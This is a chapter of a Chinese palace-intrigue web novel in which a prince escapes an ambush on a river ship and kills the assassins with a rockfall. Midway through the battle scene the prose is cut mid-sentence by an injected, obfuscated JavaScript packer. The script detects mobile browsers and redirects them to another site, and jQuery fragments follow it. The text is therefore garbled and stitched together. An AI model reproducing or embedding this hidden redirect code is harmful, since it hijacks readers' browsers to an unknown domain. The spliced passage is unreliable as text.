洛京郊外的一座别院里,蔷薇花开得正盛,花丛间影影绰绰中正有两人对弈。
锦衣华服的贵公子落下最后一子后,棋盘上局势瞬间明朗。
白子被黑子团团围杀,再无招架之力。
另一侧年岁稍长的男子见状,将手中的白子放回一旁的白玉棋盒。
“殿下棋艺高超,老臣认输。”
齐王谢霁朝手中捻着枚棋子,言语带着笑意:“依本王看,不是本王棋艺高超,而是袁尚书心不在此啊。”
“不瞒殿下,近日刑部抓了不少人下狱,闹得人心惶惶……”
微风拂过,吹动了谢霁朝月白色锦缎长袍的一角,正值六月,洛京天气正好,夏风和煦,骄阳暖而不燥,可与之相对的,朝堂之内却是暗潮涌动。
年初的皇粮案就像是一颗石子,轻而易举地便打破了朝堂中微妙的平衡。
这几日,奉命调查的淮王殿下还未回京,他手底下的刑部却已经有所动作。
谢霁朝微微一笑:“刑部再抓,也抓不到你户部尚书头上,不是么?”
他执起一枚黑子又重新落下,开启了新的一局,袁休也跟着下了一子,可面色依然凝重:“但以淮王殿下的手段,怕是不肯轻易揭过啊……”
谢霁朝轻嗤一声:“他想如何便就能如何吗?”
袁休怔愣住,小声道:“殿下是指……”
谢霁朝目光幽深,盯着棋盘又落下一子,袁休半晌听不到回音,只好将注意力重新归于棋盘,这一低头又是一怔,不过区区几子,对方的策略却是与上局截然不同。
叫人捉摸不透。
——
夜幕低垂,川云山周遭静得出奇,只能听到些蝉鸣声及山脚下河水的奔涌之声,溪柳河河面宽广,可同排行进几艘大船。
今夜亦如往常一般,风轻水静,河面上安稳地航行着不少船只。
其中最大的一艘船高约二十余尺,长约有百尺,甲板及船舱内都有亲卫分队巡逻,一刻不停。
船舱内设有房间十余间,偏东的一间里,姜同舒靠坐在椅子上,面色有些苍白。
船即使行驶地再平稳,也难免会在风浪中偶尔晃上一晃,姜同舒长这么大坐船的次数屈指可数,不出意外地开始晕船。
谢从奚目光从手里的书卷移开,问道:“几时了?”
姜同舒有些晕眩,整个人都蔫蔫地,但她还是强撑着答道:“算来,应该是快到亥时三刻了。”
话音刚落,房门便被扣响,紧接着季枫端着一盘不知是什么东西进来,说:“殿下,您要的东西准备好了。”
谢从奚“嗯”了一声,随即指了指姜同舒的方向,季枫立时明白,将盘子放在姜同舒旁边的檀桌上。
姜同舒精神不济,只小幅度侧头撇了一眼,发现满满一盘都是切好的姜片。
姜同舒多看一眼都怕这姜片会直接跃进自己天灵盖,忙不迭地把头转了回来。
谢从奚在一旁凉凉道:“吃。”
姜同舒心想,这又是什么折磨人的新法子,要直接呛死她是吧?
她紧紧闭着眼,脑袋快要摇成了个拨浪鼓,无声地表示抗议。
啪——
拨浪鼓被一卷书册轻砸了一下,姜同舒转过脑袋,发现谢从奚不知何时已站在她身侧,就这么默然地看着她。
姜同舒立刻便想站起身,却在起来的瞬间又坐了回去,她脊背一塌,手扶着额头有气无力道:“殿下,奴婢本就晕眩得很,若是再吃这个,怕是会直接吐在这里。”
“奴婢倒是没关系,但若是让殿下直面这污秽,奴婢万死也难辞其咎。”
七分演三分真,姜同舒确实有些难受,明艳娇俏的脸此时都因着晕船而少了几分灵动。
谢从奚瞧着她这幅蔫头耷脑的样子便觉得不甚舒服,他最后又问一次:“吃,还是不吃?”
瞧着这架势,仿佛她再拒绝,谢从奚就会扒开她的嘴,连姜片带盘子一股脑都给她塞下去。
哪有这样的人!干什么非要逼着她吃生姜。
姜同舒有些委屈,视死如归地伸出手,自盘子里摸出片稍微小一些的,两指捏着举在眼前,犹犹豫豫半晌也还是没放入口中。
眼见着谢从奚脸色愈发冷峻,姜同舒歇了想将姜片趁他不注意塞进衣服里的心。
一旁的季枫实在看不下去了,在一侧小声提醒道:“生姜可以缓解晕眩。”
“什么?生姜让人命悬一线?”
季枫:“……”
季枫轻咳了一声,声音稍大些:“姜娘子,生姜,可以减轻晕船的症状。”
姜同舒这此听清了,原来是可以缓解晕船,她就说呢,不然为什么无缘无故非要让她吃姜。
知道了这缘由,姜同舒狠狠心,憋住呼吸猛地将手中那片姜塞进嘴里,囫囵吞枣地嚼了两下后便吞了下去,随后赶忙拿过一旁的茶盏一饮而尽,企图用茶水盖住那股辛辣。
辛辣过后,姜同舒却突然发现,自己脑袋竟然真的轻快了许多,眼前也不再像之前那样天旋地转。
生姜居然真的有此奇效!
正感慨着,靠倚在榻上的谢从奚徐徐翻过书册一页,问道:“白日时你说,今夜会有大雨?”
姜同舒点头称是,为保证自己没看错,刚才入夜时她还特意出去再次确认了星象。
”没错,以防万一,奴婢刚才又仔细看过,今夜月圆而有晕,云多半遮,是有雨的迹象,且还是大雨。”
谢从奚:“大雨何时而至?”
姜同舒斟酌了下,回道:“快则子时正,慢则子时三刻。”
谢从奚像是就随口一问,得到了回复后便专心看书。
姜同舒却是有些忧心忡忡。
白日里季枫禀报之时她就站在不远处,一切都听得大差不差,依照二人所推测,走水路必会有敌袭,而这还不是唯一的问题,第二便是今夜还会有大雨,算算时间,雨下之时,船恰好行至川云山下。
姜同舒观察过,川云山山体陡峭,有巨石裸露在外,小雨倒是无妨,可若是遇上暴雨,山石被冲刷,极易有碎石滚落而下。
如果她没记错的话,去岁就有益州巨石伤人的先例。
今夜改换水路,其实并不妥当。
她曾旁敲侧击劝过谢从奚,可谢从奚却是铁了心要走水路。
姜同舒明白,他有他自己的考量,可这也着实太冒险了些。
……
夜色渐浓,风声怒号,子时刚过了一刻,大雨准时倾盆而下。
江面上其他船只不知是何时聚拢过来的,将谢从奚乘坐的这艘船团团围困住。
大批黑衣人身形矫健,破水而出,在夜色的掩护下如水鬼般,从多方向登船,甲板上巡逻的亲卫发现后立刻喊道:“有敌袭!”随后便拔剑与黑衣人缠斗起来。
雨声嘈杂,也掩不住兵器交接时的铿锵声响,豆大的雨珠砸在甲板上与血水混成一处,汨汨而下,直直汇入溪柳河。
这次的黑衣人与之前的黑衣人完全不同,他们有备而来,身手敏捷,一出手便是直取性命的狠辣招式,而王府亲卫也不甘示弱,守在甲板分毫不退。
甲板上各处都闪烁着刀光剑影,惨淡月色下,江水流动的哗哗声、兵刃入肉的闷哼声、以及大雨的滂沱之声,全部杂糅在一起,传入内舱。
季枫剑已出鞘,神色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209313|178419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
严肃,不放过一丝声响,姜同舒大气不敢出,坐在椅子上紧张地又慌不择路地吃了口生姜。
谢从奚稳稳坐在屋内,头都未抬,依然是那副淡漠样子,稳稳看着手中书卷。
船在剧烈厮杀中摇摆着继续航行,又过了大约一盏茶的时间,谢从奚这才慢吞吞收了手中书卷,站起身来。
他一动作,姜同舒与季枫立刻快步到他身旁。
谢从奚眉峰一挑,犹如阎王点卯般说道:“时辰到了。”
季枫上前两步,自屋内的博古架上掰过一件三彩马摆件,随即一侧小门便出现在后墙,三人自小门穿过,直下到船舱底部,取出备用的小舟。
甲板之上,王府亲卫似是不善于在摇晃船面上作战,节节败退,一个个地像下饺子般被黑衣人踹下水,黑衣人士气大振,头领再次当胸一脚踹飞一个护卫后大喊:“莫要恋战,快去舱内!”
最后一个黑衣人杀至舱内后,几名装作不慎落水的亲卫立时攀着船舷翻身而上,将船舱的外门用铁链死死锁住,随后又悄无声息地投入水中。
早就埋伏在船底的林漆带着人用铁器狠狠凿向船底,几下之间便凿开一个洞,随后他带人立刻撤离,爬上了在周边等候的小船。
正急着在舱内搜寻的黑衣人们发现船身陡然一晃,还以为只是大雨缘故,他们没放在心上,只一心在各舱内寻找。
周边小船的控制权已被先一步被踹下船的亲卫夺取,待水中亲卫尽数爬上后,几艘小船在暴雨中如离弦之箭般快速驶过。
而大船因着底部漏水且无人掌舵,航速陡然转慢,此时慢悠悠正行至川云山脚下。
漆黑夜色下,川云山山影笼罩着江面,在疾风骤雨间岿然不动,待所有小船驶离后,山上骤然出现多道身影。
众人在指挥下,统一放开手中的铁链。
转瞬之间,无数巨石裹挟着泥土,在暴雨的推波助澜下,以锐不可当之势,轰然砸向江面。
黑衣人此时正沿着机关小门下至船底,陡然听得声音,俱是心神一震,头领心道中计,反身便要自通道退出。
然而人的动作再快,也抵不上巨石的万分之一。
“轰隆——”
倾泻而下的巨石兜头砸在大船上,转瞬之间大船便被砸开了花,板子散开,彻底沉入了江水。
一部分黑衣人甚至都没有反应过来,便被砸中头部,顷刻间就没了气息。
剩下一些人勉强躲过第一波巨石,便奋力游向反方向,想要逃出生天,却没想到第二波巨石紧随而下,几人瞬间便被砸中,口鼻溢血,凫水动作戛然而止,同巨石一齐沉了下去。
水面漾起一圈一圈的涟漪,不断有血色之花在涟漪之中绽放。
远处姜同舒立在小船之上,在巨石轰然而下时便屏住呼吸,直到一切结束后她才长舒一口气。
简直顺利地可怕。
谢从奚袍角在夜风中微微摆动,待尘埃落定后,他唇角微不可察地上扬几分,冷哼了一声。
“枭卫。”
“也不过如此。”
枭卫?
姜同舒呼吸一窒,她曾听师父说过,枭卫乃是护国大将军徐鸿运一手训练而成,专伺刺杀,曾在乱军中以鬼魅身法直取敌方大将首级。
徐大将军去世后,这支护卫便不知所踪。
没想到再次出现,竟是为了夺取一本账册,还就这么草率地葬身于江水之中。
姜同舒顿觉不可思议。
谢从奚瞟到身旁人正风中凌乱,他淡淡道:“前任枭卫已然殉主,这一批,不过是我那个不争气的弟弟短中取长,硬凑出来的罢了。”
“仿品就是仿品。”